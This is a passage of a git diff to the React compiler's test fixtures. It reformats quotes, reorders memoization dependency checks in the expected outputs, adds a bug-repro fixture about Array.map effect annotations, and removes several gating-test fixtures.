-  for (const [key, value] of Object.entries(obj)) {
-    if (value) {
-      classes.push(key);
+const cx = {
+  foo(obj) {
+    const classes = [];
+    for (const [key, value] of Object.entries(obj)) {
+      if (value) {
+        classes.push(key);
+      }
     }
-  }
-  return classes.join(" ");
-}
+    return classes.join(' ');
+  },
+};
 
 function useTheme() {
   return {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.expect.md
index 4400a550cee0..90de08f33352 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.expect.md
@@ -2,21 +2,22 @@
 ## Input
 
 ```javascript
-import { makeArray } from "shared-runtime";
+// @compilationMode:"infer"
+import {makeArray} from 'shared-runtime';
 
 function Component() {
-  const items = makeArray("foo", "bar", "", null, "baz", false, "merp");
+  const items = makeArray('foo', 'bar', '', null, 'baz', false, 'merp');
   const classname = cx.namespace(...items.filter(isNonEmptyString));
   return <div className={classname}>Ok</div>;
 }
 
 function isNonEmptyString(s) {
-  return typeof s === "string" && s.trim().length !== 0;
+  return typeof s === 'string' && s.trim().length !== 0;
 }
 
 const cx = {
   namespace(...items) {
-    return items.join(" ");
+    return items.join(' ');
   },
 };
 
@@ -30,7 +31,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 import { makeArray } from "shared-runtime";
 
 function Component() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.js
index 7f44985e9b59..41aebae7e335 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.js
@@ -1,18 +1,19 @@
-import { makeArray } from "shared-runtime";
+// @compilationMode:"infer"
+import {makeArray} from 'shared-runtime';
 
 function Component() {
-  const items = makeArray("foo", "bar", "", null, "baz", false, "merp");
+  const items = makeArray('foo', 'bar', '', null, 'baz', false, 'merp');
   const classname = cx.namespace(...items.filter(isNonEmptyString));
   return <div className={classname}>Ok</div>;
 }
 
 function isNonEmptyString(s) {
-  return typeof s === "string" && s.trim().length !== 0;
+  return typeof s === 'string' && s.trim().length !== 0;
 }
 
 const cx = {
   namespace(...items) {
-    return items.join(" ");
+    return items.join(' ');
   },
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-property.expect.md
index 32de57f8a053..65b2fd6ac8b4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-property.expect.md
@@ -44,6 +44,7 @@ function b() {
   if (import.meta.url) {
     a = 1;
   }
+
   return a;
 }
 
@@ -52,6 +53,7 @@ function c() {
   if (import.meta.foo) {
     a = 1;
   }
+
   return a;
 }
 
@@ -60,6 +62,7 @@ function d() {
   if (import.meta) {
     a = 1;
   }
+
   return a;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-computed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-computed.expect.md
index 887479c01eb0..2fc302c8b428 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-computed.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-computed.expect.md
@@ -43,11 +43,11 @@ function foo(a, b, c) {
   }
   const y = t1;
   let t2;
-  if ($[4] !== x || $[5] !== y.method || $[6] !== b) {
+  if ($[4] !== b || $[5] !== x || $[6] !== y.method) {
     t2 = x[y.method](b);
-    $[4] = x;
-    $[5] = y.method;
-    $[6] = b;
+    $[4] = b;
+    $[5] = x;
+    $[6] = y.method;
     $[7] = t2;
   } else {
     t2 = $[7];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-fn-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-fn-call.expect.md
index c32777534b8d..58c06101d38e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-fn-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-fn-call.expect.md
@@ -33,11 +33,11 @@ function foo(a, b, c) {
 
   const method = x.method;
   let t1;
-  if ($[2] !== method || $[3] !== x || $[4] !== b) {
+  if ($[2] !== b || $[3] !== method || $[4] !== x) {
     t1 = method.call(x, b);
-    $[2] = method;
-    $[3] = x;
-    $[4] = b;
+    $[2] = b;
+    $[3] = method;
+    $[4] = x;
     $[5] = t1;
   } else {
     t1 = $[5];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.expect.md
index 76e4c1defa30..fd8a4935a825 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { addOne, shallowCopy } from "shared-runtime";
+import {addOne, shallowCopy} from 'shared-runtime';
 
 function foo(a, b, c) {
   // Construct and freeze x
@@ -16,7 +16,7 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ foo: addOne }, 3],
+  params: [{foo: addOne}, 3],
   isComponent: false,
 };
 
@@ -40,10 +40,10 @@ function foo(a, b, c) {
   }
   const x = t0;
   let t1;
-  if ($[2] !== x || $[3] !== b) {
+  if ($[2] !== b || $[3] !== x) {
     t1 = x.foo(b);
-    $[2] = x;
-    $[3] = b;
+    $[2] = b;
+    $[3] = x;
     $[4] = t1;
   } else {
     t1 = $[4];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.js
index ee55a9fd6287..b106b95a9842 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.js
@@ -1,4 +1,4 @@
-import { addOne, shallowCopy } from "shared-runtime";
+import {addOne, shallowCopy} from 'shared-runtime';
 
 function foo(a, b, c) {
   // Construct and freeze x
@@ -12,6 +12,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ foo: addOne }, 3],
+  params: [{foo: addOne}, 3],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.expect.md
new file mode 100644
index 000000000000..6dd05cbe7c61
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.expect.md
@@ -0,0 +1,155 @@
+
+## Input
+
+```javascript
+import {
+  arrayPush,
+  identity,
+  makeArray,
+  Stringify,
+  useFragment,
+} from 'shared-runtime';
+
+/**
+ * Bug repro showing why it's invalid for function references to be annotated
+ * with a `Read` effect when that reference might lead to the function being
+ * invoked.
+ *
+ * Note that currently, `Array.map` is annotated to have `Read` effects on its
+ * operands. This is incorrect as function effects must be replayed when `map`
+ * is called
+ * - Read:                non-aliasing data dependency
+ * - Capture:             maybe-aliasing data dependency
+ * - ConditionallyMutate: maybe-aliasing data dependency; maybe-write / invoke
+ *     but only if the value is mutable
+ *
+ * Invalid evaluator result: Found differences in evaluator results Non-forget
+ * (expected): (kind: ok)
+ *   <div>{"x":[2,2,2],"count":3}</div><div>{"item":1}</div>
+ *   <div>{"x":[2,2,2],"count":4}</div><div>{"item":1}</div>
+ * Forget:
+ *   (kind: ok)
+ *   <div>{"x":[2,2,2],"count":3}</div><div>{"item":1}</div>
+ *   <div>{"x":[2,2,2,2,2,2],"count":4}</div><div>{"item":1}</div>
+ */
+
+function Component({extraJsx}) {
+  const x = makeArray();
+  const items = useFragment();
+  // This closure has the following effects that must be replayed:
+  //   - MaybeFreeze / Capture of `items`
+  //   - ConditionalMutate of x
+  const jsx = items.a.map((item, i) => {
+    arrayPush(x, 2);
+    return <Stringify item={item} key={i} />;
+  });
+  const offset = jsx.length;
+  for (let i = 0; i < extraJsx; i++) {
+    jsx.push(<Stringify item={0} key={i + offset} />);
+  }
+  const count = jsx.length;
+  identity(count);
+  return (
+    <>
+      <Stringify x={x} count={count} />
+      {jsx[0]}
+    </>
+  );
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{extraJsx: 0}],
+  sequentialRenders: [{extraJsx: 0}, {extraJsx: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import {
+  arrayPush,
+  identity,
+  makeArray,
+  Stringify,
+  useFragment,
+} from "shared-runtime";
+
+/**
+ * Bug repro showing why it's invalid for function references to be annotated
+ * with a `Read` effect when that reference might lead to the function being
+ * invoked.
+ *
+ * Note that currently, `Array.map` is annotated to have `Read` effects on its
+ * operands. This is incorrect as function effects must be replayed when `map`
+ * is called
+ * - Read:                non-aliasing data dependency
+ * - Capture:             maybe-aliasing data dependency
+ * - ConditionallyMutate: maybe-aliasing data dependency; maybe-write / invoke
+ *     but only if the value is mutable
+ *
+ * Invalid evaluator result: Found differences in evaluator results Non-forget
+ * (expected): (kind: ok)
+ *   <div>{"x":[2,2,2],"count":3}</div><div>{"item":1}</div>
+ *   <div>{"x":[2,2,2],"count":4}</div><div>{"item":1}</div>
+ * Forget:
+ *   (kind: ok)
+ *   <div>{"x":[2,2,2],"count":3}</div><div>{"item":1}</div>
+ *   <div>{"x":[2,2,2,2,2,2],"count":4}</div><div>{"item":1}</div>
+ */
+
+function Component(t0) {
+  const $ = _c(6);
+  const { extraJsx } = t0;
+  const x = makeArray();
+  const items = useFragment();
+
+  const jsx = items.a.map((item, i) => {
+    arrayPush(x, 2);
+    return <Stringify item={item} key={i} />;
+  });
+  const offset = jsx.length;
+  for (let i_0 = 0; i_0 < extraJsx; i_0++) {
+    jsx.push(<Stringify item={0} key={i_0 + offset} />);
+  }
+
+  const count = jsx.length;
+  identity(count);
+  let t1;
+  if ($[0] !== count || $[1] !== x) {
+    t1 = <Stringify x={x} count={count} />;
+    $[0] = count;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== jsx[0] || $[4] !== t1) {
+    t2 = (
+      <>
+        {t1}
+        {jsx[0]}
+      </>
+    );
+    $[3] = jsx[0];
+    $[4] = t1;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ extraJsx: 0 }],
+  sequentialRenders: [{ extraJsx: 0 }, { extraJsx: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":[2,2,2],"count":3}</div><div>{"item":1}</div>
+<div>{"x":[2,2,2],"count":4}</div><div>{"item":1}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.js
new file mode 100644
index 000000000000..858a4ab3dc69
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.js
@@ -0,0 +1,59 @@
+import {
+  arrayPush,
+  identity,
+  makeArray,
+  Stringify,
+  useFragment,
+} from 'shared-runtime';
+
+/**
+ * Bug repro showing why it's invalid for function references to be annotated
+ * with a `Read` effect when that reference might lead to the function being
+ * invoked.
+ *
+ * Note that currently, `Array.map` is annotated to have `Read` effects on its
+ * operands. This is incorrect as function effects must be replayed when `map`
+ * is called
+ * - Read:                non-aliasing data dependency
+ * - Capture:             maybe-aliasing data dependency
+ * - ConditionallyMutate: maybe-aliasing data dependency; maybe-write / invoke
+ *     but only if the value is mutable
+ *
+ * Invalid evaluator result: Found differences in evaluator results Non-forget
+ * (expected): (kind: ok)
+ *   <div>{"x":[2,2,2],"count":3}</div><div>{"item":1}</div>
+ *   <div>{"x":[2,2,2],"count":4}</div><div>{"item":1}</div>
+ * Forget:
+ *   (kind: ok)
+ *   <div>{"x":[2,2,2],"count":3}</div><div>{"item":1}</div>
+ *   <div>{"x":[2,2,2,2,2,2],"count":4}</div><div>{"item":1}</div>
+ */
+
+function Component({extraJsx}) {
+  const x = makeArray();
+  const items = useFragment();
+  // This closure has the following effects that must be replayed:
+  //   - MaybeFreeze / Capture of `items`
+  //   - ConditionalMutate of x
+  const jsx = items.a.map((item, i) => {
+    arrayPush(x, 2);
+    return <Stringify item={item} key={i} />;
+  });
+  const offset = jsx.length;
+  for (let i = 0; i < extraJsx; i++) {
+    jsx.push(<Stringify item={0} key={i + offset} />);
+  }
+  const count = jsx.length;
+  identity(count);
+  return (
+    <>
+      <Stringify x={x} count={count} />
+      {jsx[0]}
+    </>
+  );
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{extraJsx: 0}],
+  sequentialRenders: [{extraJsx: 0}, {extraJsx: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.expect.md
index ec70d82365e5..8e96f49417b2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import React from "react";
-import { useState } from "react";
+import React from 'react';
+import {useState} from 'react';
 
 const CONST = true;
 
@@ -75,7 +75,6 @@ function Component() {
   if ($[0] !== state) {
     t0 = [
       React,
-
       state,
       CONST,
       NON_REASSIGNED_LET,
@@ -101,4 +100,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: ok) [{"Children":{"map":"[[ function params=3 ]]","forEach":"[[ function params=3 ]]","count":"[[ function params=1 ]]","toArray":"[[ function params=1 ]]","only":"[[ function params=1 ]]"},"Component":"[[ function params=3 ]]","PureComponent":"[[ function params=3 ]]","__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE":{"H":{"readContext":"[[ function params=1 ]]","use":"[[ function params=1 ]]","useCallback":"[[ function params=2 ]]","useContext":"[[ function params=1 ]]","useEffect":"[[ function params=2 ]]","useImperativeHandle":"[[ function params=3 ]]","useInsertionEffect":"[[ function params=2 ]]","useLayoutEffect":"[[ function params=2 ]]","useMemo":"[[ function params=2 ]]","useReducer":"[[ function params=3 ]]","useRef":"[[ function params=1 ]]","useState":"[[ function params=1 ]]","useDebugValue":"[[ function params=2 ]]","useDeferredValue":"[[ function params=2 ]]","useTransition":"[[ function params=0 ]]","useSyncExternalStore":"[[ function params=3 ]]","useId":"[[ function params=0 ]]","useCacheRefresh":"[[ function params=0 ]]","useMemoCache":"[[ function params=1 ]]","useHostTransitionStatus":"[[ function params=0 ]]","useFormState":"[[ function params=3 ]]","useActionState":"[[ function params=3 ]]","useOptimistic":"[[ function params=2 ]]"},"A":{"getCacheForType":"[[ function params=1 ]]","getOwner":"[[ function params=0 ]]"},"T":null,"actQueue":["[[ function params=0 ]]","[[ function params=1 ]]"],"isBatchingLegacy":false,"didScheduleLegacyUpdate":false,"didUsePromise":false,"thrownErrors":[],"setExtraStackFrame":"[[ function params=1 ]]","getCurrentStack":"[[ function params=0 ]]","getStackAddendum":"[[ function params=0 ]]"},"act":"[[ function params=1 ]]","cache":"[[ function params=1 ]]","cloneElement":"[[ function params=3 ]]","createContext":"[[ function params=1 ]]","createElement":"[[ function params=3 ]]","createRef":"[[ function params=0 ]]","forwardRef":"[[ function params=1 ]]","isValidElement":"[[ function params=1 ]]","lazy":"[[ function params=1 ]]","memo":"[[ function params=2 ]]","startTransition":"[[ function params=2 ]]","unstable_useCacheRefresh":"[[ function params=0 ]]","use":"[[ function params=1 ]]","useActionState":"[[ function params=3 ]]","useCallback":"[[ function params=2 ]]","useContext":"[[ function params=1 ]]","useDebugValue":"[[ function params=2 ]]","useDeferredValue":"[[ function params=2 ]]","useEffect":"[[ function params=2 ]]","useId":"[[ function params=0 ]]","useImperativeHandle":"[[ function params=3 ]]","useInsertionEffect":"[[ function params=2 ]]","useLayoutEffect":"[[ function params=2 ]]","useMemo":"[[ function params=2 ]]","useOptimistic":"[[ function params=2 ]]","useReducer":"[[ function params=3 ]]","useRef":"[[ function params=1 ]]","useState":"[[ function params=1 ]]","useSyncExternalStore":"[[ function params=3 ]]","useTransition":"[[ function params=0 ]]","version":"19.0.0-beta-b498834eab-20240506","c":"[[ function params=1 ]]"},"[[ cyclic ref *6 ]]",true,true,true,true,"[[ function params=0 ]]",true,"[[ function params=0 ]]"]
\ No newline at end of file
+(kind: ok) [{"Children":{"map":"[[ function params=3 ]]","forEach":"[[ function params=3 ]]","count":"[[ function params=1 ]]","toArray":"[[ function params=1 ]]","only":"[[ function params=1 ]]"},"Component":"[[ function params=3 ]]","PureComponent":"[[ function params=3 ]]","__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE":{"H":{"readContext":"[[ function params=1 ]]","use":"[[ function params=1 ]]","useCallback":"[[ function params=2 ]]","useContext":"[[ function params=1 ]]","useEffect":"[[ function params=2 ]]","useImperativeHandle":"[[ function params=3 ]]","useInsertionEffect":"[[ function params=2 ]]","useLayoutEffect":"[[ function params=2 ]]","useMemo":"[[ function params=2 ]]","useReducer":"[[ function params=3 ]]","useRef":"[[ function params=1 ]]","useState":"[[ function params=1 ]]","useDebugValue":"[[ function params=0 ]]","useDeferredValue":"[[ function params=2 ]]","useTransition":"[[ function params=0 ]]","useSyncExternalStore":"[[ function params=3 ]]","useId":"[[ function params=0 ]]","useCacheRefresh":"[[ function params=0 ]]","useMemoCache":"[[ function params=1 ]]","useEffectEvent":"[[ function params=1 ]]","useHostTransitionStatus":"[[ function params=0 ]]","useFormState":"[[ function params=2 ]]","useActionState":"[[ function params=2 ]]","useOptimistic":"[[ function params=1 ]]"},"A":{"getCacheForType":"[[ function params=1 ]]","getOwner":"[[ function params=0 ]]"},"T":null,"S":"[[ function params=2 ]]","actQueue":["[[ function params=0 ]]","[[ function params=1 ]]"],"isBatchingLegacy":false,"didScheduleLegacyUpdate":false,"didUsePromise":false,"thrownErrors":[],"getCurrentStack":"[[ function params=0 ]]"},"__COMPILER_RUNTIME":{"c":"[[ function params=1 ]]"},"act":"[[ function params=1 ]]","cache":"[[ function params=1 ]]","captureOwnerStack":"[[ function params=0 ]]","cloneElement":"[[ function params=3 ]]","createContext":"[[ function params=1 ]]","createElement":"[[ function params=3 ]]","createRef":"[[ function params=0 ]]","experimental_useEffectEvent":"[[ function params=1 ]]","experimental_useOptimistic":"[[ function params=2 ]]","experimental_useResourceEffect":"[[ function params=0 ]]","forwardRef":"[[ function params=1 ]]","isValidElement":"[[ function params=1 ]]","lazy":"[[ function params=1 ]]","memo":"[[ function params=2 ]]","startTransition":"[[ function params=1 ]]","unstable_getCacheForType":"[[ function params=1 ]]","unstable_postpone":"[[ function params=1 ]]","unstable_useCacheRefresh":"[[ function params=0 ]]","use":"[[ function params=1 ]]","useActionState":"[[ function params=3 ]]","useCallback":"[[ function params=2 ]]","useContext":"[[ function params=1 ]]","useDebugValue":"[[ function params=2 ]]","useDeferredValue":"[[ function params=2 ]]","useEffect":"[[ function params=2 ]]","useId":"[[ function params=0 ]]","useImperativeHandle":"[[ function params=3 ]]","useInsertionEffect":"[[ function params=2 ]]","useLayoutEffect":"[[ function params=2 ]]","useMemo":"[[ function params=2 ]]","useOptimistic":"[[ function params=2 ]]","useReducer":"[[ function params=3 ]]","useRef":"[[ function params=1 ]]","useState":"[[ function params=1 ]]","useSyncExternalStore":"[[ function params=3 ]]","useTransition":"[[ function params=0 ]]","version":"19.0.0-experimental-4beb1fd8-20241118"},"[[ cyclic ref *6 ]]",true,true,true,true,"[[ function params=0 ]]",true,"[[ function params=0 ]]"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.js
index 44dda9c080c0..6190eb9e5281 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.js
@@ -1,5 +1,5 @@
-import React from "react";
-import { useState } from "react";
+import React from 'react';
+import {useState} from 'react';
 
 const CONST = true;
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-default-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-default-gating-test.expect.md
deleted file mode 100644
index 4bbc85df89d8..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-default-gating-test.expect.md
+++ /dev/null
@@ -1,62 +0,0 @@
-
-## Input
-
-```javascript
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-```
-
-## Code
-
-```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating
-const ErrorView = isForgetEnabled_Fixtures()
-  ? (error, _retry) => {
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== error) {
-        t0 = <MessageBox error={error} />;
-        $[0] = error;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default Renderer = isForgetEnabled_Fixtures()
-  ? (props) => {
-      const $ = _c(1);
-      let t0;
-      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-        t0 = (
-          <Foo>
-            <Bar />
-            <ErrorView />
-          </Foo>
-        );
-        $[0] = t0;
-      } else {
-        t0 = $[0];
-      }
-      return t0;
-    }
-  : (props) => (
-      <Foo>
-        <Bar></Bar>
-        <ErrorView></ErrorView>
-      </Foo>
-    );
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-default-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-default-gating-test.js
deleted file mode 100644
index 6d20710d2b57..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-default-gating-test.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-gating-test.expect.md
deleted file mode 100644
index e7bf6b327e95..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-gating-test.expect.md
+++ /dev/null
@@ -1,62 +0,0 @@
-
-## Input
-
-```javascript
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-```
-
-## Code
-
-```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating
-const ErrorView = isForgetEnabled_Fixtures()
-  ? (error, _retry) => {
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== error) {
-        t0 = <MessageBox error={error} />;
-        $[0] = error;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export const Renderer = isForgetEnabled_Fixtures()
-  ? (props) => {
-      const $ = _c(1);
-      let t0;
-      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-        t0 = (
-          <Foo>
-            <Bar />
-            <ErrorView />
-          </Foo>
-        );
-        $[0] = t0;
-      } else {
-        t0 = $[0];
-      }
-      return t0;
-    }
-  : (props) => (
-      <Foo>
-        <Bar></Bar>
-        <ErrorView></ErrorView>
-      </Foo>
-    );
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-gating-test.js
deleted file mode 100644
index 8f7a29bc0d56..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-export-gating-test.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-gating-test.expect.md
deleted file mode 100644
index 4ce7ec0fc406..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-gating-test.expect.md
+++ /dev/null
@@ -1,65 +0,0 @@
-
-## Input
-
-```javascript
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-export default Renderer;
-
-```
-
-## Code
-
-```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating
-const ErrorView = isForgetEnabled_Fixtures()
-  ? (error, _retry) => {
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== error) {
-        t0 = <MessageBox error={error} />;
-        $[0] = error;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-const Renderer = isForgetEnabled_Fixtures()
-  ? (props) => {
-      const $ = _c(1);
-      let t0;
-      if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-        t0 = (
-          <Foo>
-            <Bar />
-            <ErrorView />
-          </Foo>
-        );
-        $[0] = t0;
-      } else {
-        t0 = $[0];
-      }
-      return t0;
-    }
-  : (props) => (
-      <Foo>
-        <Bar></Bar>
-        <ErrorView></ErrorView>
-      </Foo>
-    );
-export default Renderer;
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-gating-test.js
deleted file mode 100644
index d81a0dfdcd06..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-arrow-expr-gating-test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-export default Renderer;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.expect.md
index 66deae142894..0a1d0eeeefa4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 function Component() {
-  "use foo";
-  "use bar";
+  'use foo';
+  'use bar';
   return <div>"foo"</div>;
 }
 
